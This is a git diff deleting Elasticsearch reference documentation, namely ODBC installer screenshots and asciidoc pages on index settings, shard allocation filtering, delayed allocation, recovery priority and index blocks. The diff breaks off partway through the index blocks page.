diff --git a/docs/reference/images/sql/odbc/apps_tableau_loaded.png b/docs/reference/images/sql/odbc/apps_tableau_loaded.png
deleted file mode 100644
index 61e80be627f..00000000000
Binary files a/docs/reference/images/sql/odbc/apps_tableau_loaded.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/dsn_editor_basic.png b/docs/reference/images/sql/odbc/dsn_editor_basic.png
deleted file mode 100644
index 78c042fd751..00000000000
Binary files a/docs/reference/images/sql/odbc/dsn_editor_basic.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/dsn_editor_conntest.png b/docs/reference/images/sql/odbc/dsn_editor_conntest.png
deleted file mode 100644
index 9b1bdb7bc25..00000000000
Binary files a/docs/reference/images/sql/odbc/dsn_editor_conntest.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/dsn_editor_logging.png b/docs/reference/images/sql/odbc/dsn_editor_logging.png
deleted file mode 100644
index 42a7d59342b..00000000000
Binary files a/docs/reference/images/sql/odbc/dsn_editor_logging.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/dsn_editor_misc.png b/docs/reference/images/sql/odbc/dsn_editor_misc.png
deleted file mode 100644
index 6638aaa3add..00000000000
Binary files a/docs/reference/images/sql/odbc/dsn_editor_misc.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/dsn_editor_security.png b/docs/reference/images/sql/odbc/dsn_editor_security.png
deleted file mode 100644
index 33bac80aff7..00000000000
Binary files a/docs/reference/images/sql/odbc/dsn_editor_security.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/dsn_editor_security_cert.png b/docs/reference/images/sql/odbc/dsn_editor_security_cert.png
deleted file mode 100644
index c37c03c6cbc..00000000000
Binary files a/docs/reference/images/sql/odbc/dsn_editor_security_cert.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/env_var_log.png b/docs/reference/images/sql/odbc/env_var_log.png
deleted file mode 100644
index 739f9650d95..00000000000
Binary files a/docs/reference/images/sql/odbc/env_var_log.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_accept_license.png b/docs/reference/images/sql/odbc/installer_accept_license.png
deleted file mode 100644
index 4fc51d1373c..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_accept_license.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_choose_destination.png b/docs/reference/images/sql/odbc/installer_choose_destination.png
deleted file mode 100644
index 12419b180d9..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_choose_destination.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_finish.png b/docs/reference/images/sql/odbc/installer_finish.png
deleted file mode 100644
index a7ec3606dc2..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_finish.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_installing.png b/docs/reference/images/sql/odbc/installer_installing.png
deleted file mode 100644
index 21bec24b1bc..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_installing.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_preparing.png b/docs/reference/images/sql/odbc/installer_preparing.png
deleted file mode 100644
index 4bb21854874..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_preparing.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_ready_install.png b/docs/reference/images/sql/odbc/installer_ready_install.png
deleted file mode 100644
index 9ad0e52abb4..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_ready_install.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/installer_started.png b/docs/reference/images/sql/odbc/installer_started.png
deleted file mode 100644
index e713594e3cc..00000000000
Binary files a/docs/reference/images/sql/odbc/installer_started.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/launch_administrator.png b/docs/reference/images/sql/odbc/launch_administrator.png
deleted file mode 100644
index f7cc37120d7..00000000000
Binary files a/docs/reference/images/sql/odbc/launch_administrator.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/msi_icon.png b/docs/reference/images/sql/odbc/msi_icon.png
deleted file mode 100644
index a45bfa28d0e..00000000000
Binary files a/docs/reference/images/sql/odbc/msi_icon.png and /dev/null differ
diff --git a/docs/reference/images/sql/odbc/uninstall.png b/docs/reference/images/sql/odbc/uninstall.png
deleted file mode 100644
index 5bd2ccb7fde..00000000000
Binary files a/docs/reference/images/sql/odbc/uninstall.png and /dev/null differ
diff --git a/docs/reference/images/sql/rest/console-triple-quotes.png b/docs/reference/images/sql/rest/console-triple-quotes.png
deleted file mode 100644
index 4a13acb9861..00000000000
Binary files a/docs/reference/images/sql/rest/console-triple-quotes.png and /dev/null differ
diff --git a/docs/reference/index-modules.asciidoc b/docs/reference/index-modules.asciidoc
deleted file mode 100644
index 6af6118663b..00000000000
--- a/docs/reference/index-modules.asciidoc
+++ /dev/null
@@ -1,357 +0,0 @@
-
-[[index-modules]]
-= Index modules
-
-[partintro]
---
-
-Index Modules are modules created per index and control all aspects related to
-an index.
-
-[discrete]
-[[index-modules-settings]]
-== Index Settings
-
-[[index-modules-settings-description]]
-// tag::index-modules-settings-description-tag[]
-Index level settings can be set per-index.  Settings may be:
-
-_static_::
-
-They can only be set at index creation time or on a
-<<indices-open-close,closed index>>.
-
-_dynamic_::
-
-They can be changed on a live index using the
-<<indices-update-settings,update-index-settings>> API.
-// end::index-modules-settings-description-tag[]
-
-WARNING: Changing static or dynamic index settings on a closed index could
-result in incorrect settings that are impossible to rectify without deleting
-and recreating the index.
-
-[discrete]
-=== Static index settings
-
-Below is a list of all _static_ index settings that are not associated with any
-specific index module:
-
-[[index-number-of-shards]]
-// tag::index-number-of-shards-tag[]
-`index.number_of_shards` {ess-icon}::
-The number of primary shards that an index should have. Defaults to `1`. This setting can only be set at index creation time. It cannot be changed on a closed index.
-+
-NOTE: The number of shards are limited to `1024` per index. This limitation is a safety limit to prevent accidental creation of indices that can destabilize a cluster due to resource allocation. The limit can be modified by specifying `export ES_JAVA_OPTS="-Des.index.max_number_of_shards=128"` system property on every node that is part of the cluster.
-
-// end::index-number-of-shards-tag[]
-
-[[index-number-of-routing-shards]]
-`index.number_of_routing_shards`::
-+
-====
-Number of routing shards used to <<indices-split-index,split>> an index.
-
-For example, a 5 shard index with `number_of_routing_shards` set to `30` (`5 x
-2 x 3`) could be split by a factor of `2` or `3`.  In other words, it could be
-split as follows:
-
-* `5` -> `10` -> `30`  (split by 2, then by 3)
-* `5` -> `15` -> `30` (split by 3, then by 2)
-* `5` -> `30` (split by 6)
-
-This setting's default value depends on the number of primary shards in the
-index. The default is designed to allow you to split by factors of 2 up
-to a maximum of 1024 shards.
-====
-
-`index.shard.check_on_startup`::
-
-Whether or not shards should be checked for corruption before opening. When
-corruption is detected, it will prevent the shard from being opened.
-Accepts:
-`false`::: (default) Don't check for corruption when opening a shard.
-`checksum`::: Check for physical corruption.
-`true`::: Check for both physical and logical corruption. This is much more
-expensive in terms of CPU and memory usage.
-+
-WARNING: Expert only. Checking shards may take a lot of time on large
-indices.
-
-[[index-codec]] `index.codec`::
-
-    The +default+ value compresses stored data with LZ4
-    compression, but this can be set to +best_compression+
-    which uses {wikipedia}/DEFLATE[DEFLATE] for a higher
-    compression ratio, at the expense of slower stored fields performance.
-    If you are updating the compression type, the new one will be applied
-    after segments are merged. Segment merging can be forced using
-    <<indices-forcemerge,force merge>>.
-
-[[routing-partition-size]] `index.routing_partition_size`::
-
-    The number of shards a custom <<mapping-routing-field,routing>> value can go to.
-    Defaults to 1 and can only be set at index creation time. This value must be less
-    than the `index.number_of_shards` unless the `index.number_of_shards` value is also 1.
-    See <<routing-index-partition>> for more details about how this setting is used.
-
-[[ccr-index-soft-deletes]]
-// tag::ccr-index-soft-deletes-tag[]
-`index.soft_deletes.enabled`::
-deprecated:[7.6.0, Creating indices with soft-deletes disabled is deprecated and will be removed in future Elasticsearch versions.]
-Indicates whether soft deletes are enabled on the index. Soft deletes can only
-be configured at index creation and only on indices created on or after
-{es} 6.5.0. Defaults to `true`.
-// end::ccr-index-soft-deletes-tag[]
-
-[[ccr-index-soft-deletes-retention-period]]
-//tag::ccr-index-soft-deletes-retention-tag[]
-`index.soft_deletes.retention_lease.period`::
-The maximum period to retain a shard history retention lease before it is
-considered expired. Shard history retention leases ensure that soft deletes are
-retained during merges on the Lucene index. If a soft delete is merged away
-before it can be replicated to a follower the following process will fail due
-to incomplete history on the leader. Defaults to `12h`.
-//end::ccr-index-soft-deletes-retention-tag[]
-
-[[load-fixed-bitset-filters-eagerly]] `index.load_fixed_bitset_filters_eagerly`::
-
-    Indicates whether <<query-filter-context, cached filters>> are pre-loaded for
-    nested queries. Possible values are `true` (default) and `false`.
-
-[[index-hidden]] `index.hidden`::
-
-    Indicates whether the index should be hidden by default. Hidden indices are not
-    returned by default when using a wildcard expression. This behavior is controlled
-    per request through the use of the `expand_wildcards` parameter. Possible values are
-    `true` and `false` (default).
-
-[discrete]
-[[dynamic-index-settings]]
-=== Dynamic index settings
-
-Below is a list of all _dynamic_ index settings that are not associated with any
-specific index module:
-
-[[dynamic-index-number-of-replicas]]
-`index.number_of_replicas`::
-
-    The number of replicas each primary shard has.  Defaults to 1.
-
-`index.auto_expand_replicas`::
-
-    Auto-expand the number of replicas based on the number of data nodes in the cluster.
-    Set to a dash delimited lower and upper bound (e.g. `0-5`) or use `all`
-    for the upper bound (e.g. `0-all`). Defaults to `false` (i.e. disabled).
-    Note that the auto-expanded number of replicas only takes
-    <<shard-allocation-filtering,allocation filtering>> rules into account, but ignores
-    any other allocation rules such as <<shard-allocation-awareness,shard allocation awareness>>
-    and <<allocation-total-shards,total shards per node>>, and this can lead to the
-    cluster health becoming `YELLOW` if the applicable rules prevent all the replicas
-    from being allocated.
-
-`index.search.idle.after`::
-    How long a shard can not receive a search or get request until it's considered
-    search idle. (default is `30s`)
-
-[[index-refresh-interval-setting]]
-`index.refresh_interval`::
-
-    How often to perform a refresh operation, which makes recent changes to the
-    index visible to search. Defaults to `1s`.  Can be set to `-1` to disable
-    refresh. If this setting is not explicitly set, shards that haven't seen
-    search traffic for at least `index.search.idle.after` seconds will not receive
-    background refreshes until they receive a search request. Searches that hit an
-    idle shard where a refresh is pending will wait for the next background
-    refresh (within `1s`). This behavior aims to automatically optimize bulk
-    indexing in the default case when no searches are performed. In order to opt
-    out of this behavior an explicit value of `1s` should set as the refresh
-    interval.
-
-[[index-max-result-window]]
-`index.max_result_window`::
-
-    The maximum value of `from + size` for searches to this index. Defaults to
-    `10000`. Search requests take heap memory and time proportional to
-    `from + size` and this limits that memory. See
-    <<scroll-search-results,Scroll>> or <<search-after,Search After>> for a more efficient alternative
-    to raising this.
-
-`index.max_inner_result_window`::
-
-    The maximum value of `from + size` for inner hits definition and top hits aggregations to this index. Defaults to
-    `100`. Inner hits and top hits aggregation take heap memory and time proportional to `from + size` and this limits that memory.
-
-`index.max_rescore_window`::
-
-    The maximum value of `window_size` for `rescore` requests in searches of this index.
-    Defaults to `index.max_result_window` which defaults to `10000`. Search
-    requests take heap memory and time proportional to
-    `max(window_size, from + size)` and this limits that memory.
-
-`index.max_docvalue_fields_search`::
-
-    The maximum number of `docvalue_fields` that are allowed in a query.
-    Defaults to `100`. Doc-value fields are costly since they might incur
-    a per-field per-document seek.
-
-`index.max_script_fields`::
-
-    The maximum number of `script_fields` that are allowed in a query.
-    Defaults to `32`.
-
-[[index-max-ngram-diff]]
-`index.max_ngram_diff`::
-
-    The maximum allowed difference between min_gram and max_gram for NGramTokenizer and NGramTokenFilter.
-    Defaults to `1`.
-
-[[index-max-shingle-diff]]
-`index.max_shingle_diff`::
-
-    The maximum allowed difference between max_shingle_size and min_shingle_size
-    for the <<analysis-shingle-tokenfilter,`shingle` token filter>>. Defaults to
-    `3`.
-
-`index.max_refresh_listeners`::
-
-    Maximum number of refresh listeners available on each shard of the index.
-    These listeners are used to implement <<docs-refresh,`refresh=wait_for`>>.
-
- `index.analyze.max_token_count`::
-
-    The maximum number of tokens that can be produced using _analyze API.
-    Defaults to `10000`.
-
- `index.highlight.max_analyzed_offset`::
-
-     The maximum number of characters that will be analyzed for a highlight request.
-     This setting is only applicable when highlighting is requested on a text that was indexed without offsets or term vectors.
-     Defaults to `1000000`.
-
-[[index-max-terms-count]]
- `index.max_terms_count`::
-
-    The maximum number of terms that can be used in Terms Query.
-    Defaults to `65536`.
-
-[[index-max-regex-length]]
- `index.max_regex_length`::
-
-    The maximum length of regex that can be used in Regexp Query.
-    Defaults to `1000`.
-
- `index.routing.allocation.enable`::
-
-    Controls shard allocation for this index. It can be set to:
-    * `all` (default) - Allows shard allocation for all shards.
-    * `primaries` - Allows shard allocation only for primary shards.
-    * `new_primaries` - Allows shard allocation only for newly-created primary shards.
-    * `none` - No shard allocation is allowed.
-
- `index.routing.rebalance.enable`::
-
-    Enables shard rebalancing for this index. It can be set to:
-    * `all` (default) - Allows shard rebalancing for all shards.
-    * `primaries` - Allows shard rebalancing only for primary shards.
-    * `replicas` - Allows shard rebalancing only for replica shards.
-    * `none` - No shard rebalancing is allowed.
-
- `index.gc_deletes`::
-
-    The length of time that a <<delete-versioning,deleted document's version number>> remains available for <<index-versioning,further versioned operations>>.
-    Defaults to `60s`.
-
- `index.default_pipeline`::
-
-    The default <<ingest,ingest node>> pipeline for this index. Index requests will fail
-    if the default pipeline is set and the pipeline does not exist. The default may be
-    overridden using the `pipeline` parameter. The special pipeline name `_none` indicates
-    no ingest pipeline should be run.
-
- `index.final_pipeline`::
-    The final <<ingest,ingest node>> pipeline for this index. Index requests
-    will fail if the final pipeline is set and the pipeline does not exist.
-    The final pipeline always runs after the request pipeline (if specified) and
-    the default pipeline (if it exists). The special pipeline name `_none`
-    indicates no ingest pipeline will run.
-
-[discrete]
-=== Settings in other index modules
-
-Other index settings are available in index modules:
-
-<<analysis,Analysis>>::
-
-    Settings to define analyzers, tokenizers, token filters and character
-    filters.
-
-<<index-modules-allocation,Index shard allocation>>::
-
-    Control over where, when, and how shards are allocated to nodes.
-
-<<index-modules-mapper,Mapping>>::
-
-    Enable or disable dynamic mapping for an index.
-
-<<index-modules-merge,Merging>>::
-
-    Control over how shards are merged by the background merge process.
-
-<<index-modules-similarity,Similarities>>::
-
-    Configure custom similarity settings to customize how search results are
-    scored.
-
-<<index-modules-slowlog,Slowlog>>::
-
-    Control over how slow queries and fetch requests are logged.
-
-<<index-modules-store,Store>>::
-
-    Configure the type of filesystem used to access shard data.
-
-<<index-modules-translog,Translog>>::
-
-    Control over the transaction log and background flush operations.
-
-<<index-modules-history-retention,History retention>>::
-
-    Control over the retention of a history of operations in the index.
-
-<<index-modules-indexing-pressure,Indexing pressure>>::
-
-    Configure indexing back pressure limits.
-
-[discrete]
-[[x-pack-index-settings]]
-=== [xpack]#{xpack} index settings#
-
-<<ilm-settings,{ilm-cap}>>::
-
-    Specify the lifecycle policy and rollover alias for an index.
---
-
-include::index-modules/analysis.asciidoc[]
-
-include::index-modules/allocation.asciidoc[]
-
-include::index-modules/blocks.asciidoc[]
-
-include::index-modules/mapper.asciidoc[]
-
-include::index-modules/merge.asciidoc[]
-
-include::index-modules/similarity.asciidoc[]
-
-include::index-modules/slowlog.asciidoc[]
-
-include::index-modules/store.asciidoc[]
-
-include::index-modules/translog.asciidoc[]
-
-include::index-modules/history-retention.asciidoc[]
-
-include::index-modules/index-sorting.asciidoc[]
-
-include::index-modules/indexing-pressure.asciidoc[]
diff --git a/docs/reference/index-modules/allocation.asciidoc b/docs/reference/index-modules/allocation.asciidoc
deleted file mode 100644
index 709f66b7f35..00000000000
--- a/docs/reference/index-modules/allocation.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-[[index-modules-allocation]]
-== Index Shard Allocation
-
-This module provides per-index settings to control the allocation of shards to
-nodes:
-
-* <<shard-allocation-filtering,Shard allocation filtering>>: Controlling which shards are allocated to which nodes.
-* <<delayed-allocation,Delayed allocation>>: Delaying allocation of unassigned shards caused by a node leaving.
-* <<allocation-total-shards,Total shards per node>>: A hard limit on the number of shards from the same index per node.
-* <<data-tier-shard-filtering, Data tier allocation>>: Controls the allocation of indices to <<data-tiers, data tiers>>.
-
-include::allocation/filtering.asciidoc[]
-
-include::allocation/delayed.asciidoc[]
-
-include::allocation/prioritization.asciidoc[]
-
-include::allocation/total_shards.asciidoc[]
-
-include::allocation/data_tier_allocation.asciidoc[]
diff --git a/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc b/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc
deleted file mode 100644
index ea5aa3c5678..00000000000
--- a/docs/reference/index-modules/allocation/data_tier_allocation.asciidoc
+++ /dev/null
@@ -1,50 +0,0 @@
-[role="xpack"]
-[[data-tier-shard-filtering]]
-=== Index-level data tier allocation filtering
-
-You can use index-level allocation settings to control which <<data-tiers, data tier>>
-the index is allocated to. The data tier allocator is a
-<<shard-allocation-filtering, shard allocation filter>> that uses two built-in
-node attributes:  `_tier` and `_tier_preference`.
-
-These tier attributes are set using the data node roles:
-
-* <<data-content-node, data_content>>
-* <<data-hot-node, data_hot>>
-* <<data-warm-node, data_warm>>
-* <<data-cold-node, data_cold>>
-
-NOTE: The <<data-node, data>> role is not a valid data tier and cannot be used
-for data tier filtering.
-
-[discrete]
-[[data-tier-allocation-filters]]
-==== Data tier allocation settings
-
-
-`index.routing.allocation.include._tier`::
-
-    Assign the index to a node whose `node.roles` configuration has at
-    least one of to the comma-separated values.
-
-`index.routing.allocation.require._tier`::
-
-    Assign the index to a node whose `node.roles` configuration has _all_
-    of the comma-separated values.
-
-`index.routing.allocation.exclude._tier`::
-
-    Assign the index to a node whose `node.roles` configuration has _none_ of the
-    comma-separated values.
-
-[[tier-preference-allocation-filter]]
-`index.routing.allocation.include._tier_preference`::
-
-    Assign the index to the first tier in the list that has an available node.
-    This prevents indices from remaining unallocated if no nodes are available
-    in the preferred tier.
-    For example, if you set `index.routing.allocation.include._tier_preference`
-    to `data_warm,data_hot`, the index is allocated to the warm tier if there
-    are nodes with the `data_warm` role. If there are no nodes in the warm tier,
-    but there are nodes with the `data_hot` role, the index is allocated to
-    the hot tier.
diff --git a/docs/reference/index-modules/allocation/delayed.asciidoc b/docs/reference/index-modules/allocation/delayed.asciidoc
deleted file mode 100644
index f49ed7e05db..00000000000
--- a/docs/reference/index-modules/allocation/delayed.asciidoc
+++ /dev/null
@@ -1,105 +0,0 @@
-[[delayed-allocation]]
-=== Delaying allocation when a node leaves
-
-When a node leaves the cluster for whatever reason, intentional or otherwise,
-the master reacts by:
-
-* Promoting a replica shard to primary to replace any primaries that were on the node.
-* Allocating replica shards to replace the missing replicas (assuming there are enough nodes).
-* Rebalancing shards evenly across the remaining nodes.
-
-These actions are intended to protect the cluster against data loss by
-ensuring that every shard is fully replicated as soon as possible.
-
-Even though we throttle concurrent recoveries both at the
-<<recovery,node level>> and at the <<shards-allocation,cluster level>>, this
-``shard-shuffle'' can still put a lot of extra load on the cluster which
-may not be necessary if the missing node is likely to return soon. Imagine
-this scenario:
-
-* Node 5 loses network connectivity.
-* The master promotes a replica shard to primary for each primary that was on Node 5.
-* The master allocates new replicas to other nodes in the cluster.
-* Each new replica makes an entire copy of the primary shard across the network.
-* More shards are moved to different nodes to rebalance the cluster.
-* Node 5 returns after a few minutes.
-* The master rebalances the cluster by allocating shards to Node 5.
-
-If the master had just waited for a few minutes, then the missing shards could
-have been re-allocated to Node 5 with the minimum of network traffic.  This
-process would be even quicker for idle shards (shards not receiving indexing
-requests) which have been automatically <<indices-synced-flush-api,sync-flushed>>.
-
-The allocation of replica shards which become unassigned because a node has
-left can be delayed with the `index.unassigned.node_left.delayed_timeout`
-dynamic setting, which defaults to `1m`.
-
-This setting can be updated on a live index (or on all indices):
-
-[source,console]
-------------------------------
-PUT _all/_settings
-{
-  "settings": {
-    "index.unassigned.node_left.delayed_timeout": "5m"
-  }
-}
-------------------------------
-// TEST[s/^/PUT test\n/]
-
-With delayed allocation enabled, the above scenario changes to look like this:
-
-* Node 5 loses network connectivity.
-* The master promotes a replica shard to primary for each primary that was on Node 5.
-* The master logs a message that allocation of unassigned shards has been delayed, and for how long.
-* The cluster remains yellow because there are unassigned replica shards.
-* Node 5 returns after a few minutes, before the `timeout` expires.
-* The missing replicas are re-allocated to Node 5 (and sync-flushed shards recover almost immediately).
-
-NOTE: This setting will not affect the promotion of replicas to primaries, nor
-will it affect the assignment of replicas that have not been assigned
-previously. In particular, delayed allocation does not come into effect after a full cluster restart.
-Also, in case of a master failover situation, elapsed delay time is forgotten
-(i.e. reset to the full initial delay).
-
-==== Cancellation of shard relocation
-
-If delayed allocation times out, the master assigns the missing shards to
-another node which will start recovery.  If the missing node rejoins the
-cluster, and its shards still have the same sync-id as the primary, shard
-relocation will be cancelled and the synced shard will be used for recovery
-instead.
-
-For this reason, the default `timeout` is set to just one minute: even if shard
-relocation begins, cancelling recovery in favour of the synced shard is cheap.
-
-==== Monitoring delayed unassigned shards
-
-The number of shards whose allocation has been delayed by this timeout setting
-can be viewed with the <<cluster-health,cluster health API>>:
-
-[source,console]
-------------------------------
-GET _cluster/health <1>
-------------------------------
-
-<1> This request will return a `delayed_unassigned_shards` value.
-
-==== Removing a node permanently
-
-If a node is not going to return and you would like Elasticsearch to allocate
-the missing shards immediately, just update the timeout to zero:
-
-
-[source,console]
-------------------------------
-PUT _all/_settings
-{
-  "settings": {
-    "index.unassigned.node_left.delayed_timeout": "0"
-  }
-}
-------------------------------
-// TEST[s/^/PUT test\n/]
-
-You can reset the timeout as soon as the missing shards have started to recover.
diff --git a/docs/reference/index-modules/allocation/filtering.asciidoc b/docs/reference/index-modules/allocation/filtering.asciidoc
deleted file mode 100644
index 6b481fb9a51..00000000000
--- a/docs/reference/index-modules/allocation/filtering.asciidoc
+++ /dev/null
@@ -1,128 +0,0 @@
-[[shard-allocation-filtering]]
-=== Index-level shard allocation filtering
-
-You can use shard allocation filters to control where {es} allocates shards of
-a particular index. These per-index filters are applied in conjunction with
-<<cluster-shard-allocation-filtering, cluster-wide allocation filtering>> and
-<<shard-allocation-awareness, allocation awareness>>.
-
-Shard allocation filters can be based on custom node attributes or the built-in
-`_name`, `_host_ip`, `_publish_ip`, `_ip`, `_host`, `_id`, `_tier` and `_tier_preference`
-attributes. <<index-lifecycle-management, Index lifecycle management>> uses filters based
-on custom node attributes to determine how to reallocate shards when moving
-between phases.
-
-The `cluster.routing.allocation` settings are dynamic, enabling live indices to
-be moved from one set of nodes to another. Shards are only relocated if it is
-possible to do so without breaking another routing constraint, such as never
-allocating a primary and replica shard on the same node.
-
-For example, you could use a custom node attribute to indicate a node's
-performance characteristics and use shard allocation filtering to route shards
-for a particular index to the most appropriate class of hardware.
-
-[discrete]
-[[index-allocation-filters]]
-==== Enabling index-level shard allocation filtering
-
-To filter based on a custom node attribute:
-
-. Specify the filter characteristics with a custom node attribute in each
-node's `elasticsearch.yml` configuration file. For example, if you have `small`,
-`medium`, and `big` nodes, you could add a `size` attribute to filter based
-on node size.
-+
-[source,yaml]
---------------------------------------------------------
-node.attr.size: medium
---------------------------------------------------------
-+
-You can also set custom attributes when you start a node:
-+
-[source,sh]
---------------------------------------------------------
-`./bin/elasticsearch -Enode.attr.size=medium
---------------------------------------------------------
-
-. Add a routing allocation filter to the index. The `index.routing.allocation`
-settings support three types of filters: `include`, `exclude`, and `require`.
-For example, to tell {es} to allocate shards from the `test` index to either
-`big` or `medium` nodes, use `index.routing.allocation.include`:
-+
---
-[source,console]
-------------------------
-PUT test/_settings
-{
-  "index.routing.allocation.include.size": "big,medium"
-}
-------------------------
-// TEST[s/^/PUT test\n/]
-
-If you specify multiple filters the following conditions must be satisfied
-simultaneously by a node in order for shards to be relocated to it:
-
-* If any `require` type conditions are specified, all of them must be satisfied
-* If any `exclude` type conditions are specified, none of them may be satisfied
-* If any `include` type conditions are specified, at least one of them must be
-satisfied
-
-For example, to move the `test` index to `big` nodes in `rack1`, you could
-specify:
-
-[source,console]
-------------------------
-PUT test/_settings
-{
-  "index.routing.allocation.require.size": "big",
-  "index.routing.allocation.require.rack": "rack1"
-}
-------------------------
-// TEST[s/^/PUT test\n/]
---
-
-[discrete]
-[[index-allocation-settings]]
-==== Index allocation filter settings
-
-`index.routing.allocation.include.{attribute}`::
-
-    Assign the index to a node whose `{attribute}` has at least one of the
-    comma-separated values.
-
-`index.routing.allocation.require.{attribute}`::
-
-    Assign the index to a node whose `{attribute}` has _all_ of the
-    comma-separated values.
-
-`index.routing.allocation.exclude.{attribute}`::
-
-    Assign the index to a node whose `{attribute}` has _none_ of the
-    comma-separated values.
-
-The index allocation settings support the following built-in attributes:
-
-[horizontal]
-`_name`::       Match nodes by node name
-`_host_ip`::    Match nodes by host IP address (IP associated with hostname)
-`_publish_ip`:: Match nodes by publish IP address
-`_ip`::         Match either `_host_ip` or `_publish_ip`
-`_host`::       Match nodes by hostname
-`_id`::         Match nodes by node id
-`_tier`::       Match nodes by the node's <<data-tiers, data tier>> role.
-                For more details see <<data-tier-shard-filtering, data tier allocation filtering>>
-
-NOTE: `_tier` filtering is based on <<modules-node, node>> roles. Only
-a subset of roles are <<data-tiers, data tier>> roles, and the generic
-<<data-node, data role>> will match any tier filtering.
-
-You can use wildcards when specifying attribute values, for example:
-
-[source,console]
-------------------------
-PUT test/_settings
-{
-  "index.routing.allocation.include._ip": "192.168.2.*"
-}
-------------------------
-// TEST[skip:indexes don't assign]
diff --git a/docs/reference/index-modules/allocation/prioritization.asciidoc b/docs/reference/index-modules/allocation/prioritization.asciidoc
deleted file mode 100644
index 5a864b657ba..00000000000
--- a/docs/reference/index-modules/allocation/prioritization.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[[recovery-prioritization]]
-=== Index recovery prioritization
-
-Unallocated shards are recovered in order of priority, whenever possible.
-Indices are sorted into priority order as follows:
-
-* the optional `index.priority` setting (higher before lower)
-* the index creation date (higher before lower)
-* the index name (higher before lower)
-
-This means that, by default, newer indices will be recovered before older indices.
-
-Use the per-index dynamically updatable `index.priority` setting to customise
-the index prioritization order.  For instance:
-
-[source,console]
-------------------------------
-PUT index_1
-
-PUT index_2
-
-PUT index_3
-{
-  "settings": {
-    "index.priority": 10
-  }
-}
-
-PUT index_4
-{
-  "settings": {
-    "index.priority": 5
-  }
-}
-------------------------------
-
-In the above example:
-
-* `index_3` will be recovered first because it has the highest `index.priority`.
-* `index_4` will be recovered next because it has the next highest priority.
-* `index_2` will be recovered next because it was created more recently.
-* `index_1` will be recovered last.
-
-This setting accepts an integer, and can be updated on a live index with the
-<<indices-update-settings,update index settings API>>:
-
-[source,console]
-------------------------------
-PUT index_4/_settings
-{
-  "index.priority": 1
-}
-------------------------------
-// TEST[continued]
diff --git a/docs/reference/index-modules/allocation/total_shards.asciidoc b/docs/reference/index-modules/allocation/total_shards.asciidoc
deleted file mode 100644
index 265ef79564d..00000000000
--- a/docs/reference/index-modules/allocation/total_shards.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[allocation-total-shards]]
-=== Total shards per node
-
-The cluster-level shard allocator tries to spread the shards of a single index
-across as many nodes as possible.  However, depending on how many shards and
-indices you have, and how big they are, it may not always be possible to spread
-shards evenly.
-
-The following _dynamic_ setting allows you to specify a hard limit on the total
-number of shards from a single index allowed per node:
-
-[[total-shards-per-node]]
-`index.routing.allocation.total_shards_per_node`::
-
-    The maximum number of shards (replicas and primaries) that will be
-    allocated to a single node.  Defaults to unbounded.
-
-You can also limit the amount of shards a node can have regardless of the index:
-
-[[cluster-total-shards-per-node]]
-`cluster.routing.allocation.total_shards_per_node`::
-+
---
-(<<dynamic-cluster-setting,Dynamic>>)
-Maximum number of primary and replica shards allocated to each node. Defaults to
-`-1` (unlimited).
-
-{es} checks this setting during shard allocation. For example, a cluster has a
-`cluster.routing.allocation.total_shards_per_node` setting of `100` and three
-nodes with the following shard allocations:
-
-- Node A: 100 shards
-- Node B: 98 shards
-- Node C: 1 shard
-
-If node C fails, {es} reallocates its shard to node B. Reallocating the shard to
-node A would exceed node A's shard limit.
---
-
-[WARNING]
-=======================================
-These settings impose a hard limit which can result in some shards not being
-allocated.
-
-Use with caution.
-=======================================
diff --git a/docs/reference/index-modules/analysis.asciidoc b/docs/reference/index-modules/analysis.asciidoc
deleted file mode 100644
index 709e5be5706..00000000000
--- a/docs/reference/index-modules/analysis.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[index-modules-analysis]]
-== Analysis
-
-The index analysis module acts as a configurable registry of _analyzers_
-that can be used in order to convert a string field into individual terms
-which are:
-
-* added to the inverted index in order to make the document searchable
-* used by high level queries such as the <<query-dsl-match-query,`match` query>>
-  to generate search terms.
-
-See <<analysis>> for configuration details.
diff --git a/docs/reference/index-modules/blocks.asciidoc b/docs/reference/index-modules/blocks.asciidoc
deleted file mode 100644
index 8431dc80492..00000000000
--- a/docs/reference/index-modules/blocks.asciidoc
+++ /dev/null
@@ -1,141 +0,0 @@
-[[index-modules-blocks]]
-== Index blocks
-
-Index blocks limit the kind of operations that are available on a certain
-index. The blocks come in different flavours, allowing to block write,
-read, or metadata operations. The blocks can be set / removed using dynamic
-index settings, or can be added using a dedicated API, which also ensures
-for write blocks that, once successfully returning to the user, all shards
-of the index are properly accounting for the block, for example that all
-in-flight writes to an index have been completed after adding the write
-block.
-
-[discrete]
-[[index-block-settings]]
-=== Index block settings
-
-The following _dynamic_ index settings determine the blocks present on an
-index:
-
-[[index-blocks-read-only]]
-`index.blocks.read_only`::
-
-    Set to `true` to make the index and index metadata read only, `false` to
-    allow writes and metadata changes.
-
-`index.blocks.read_only_allow_delete`::
-
-    Similar to `index.blocks.read_only`, but also allows deleting the index to
-    make more resources available. The <<disk-based-shard-allocation,disk-based shard
-    allocator>> may add and remove this block automatically.
-+
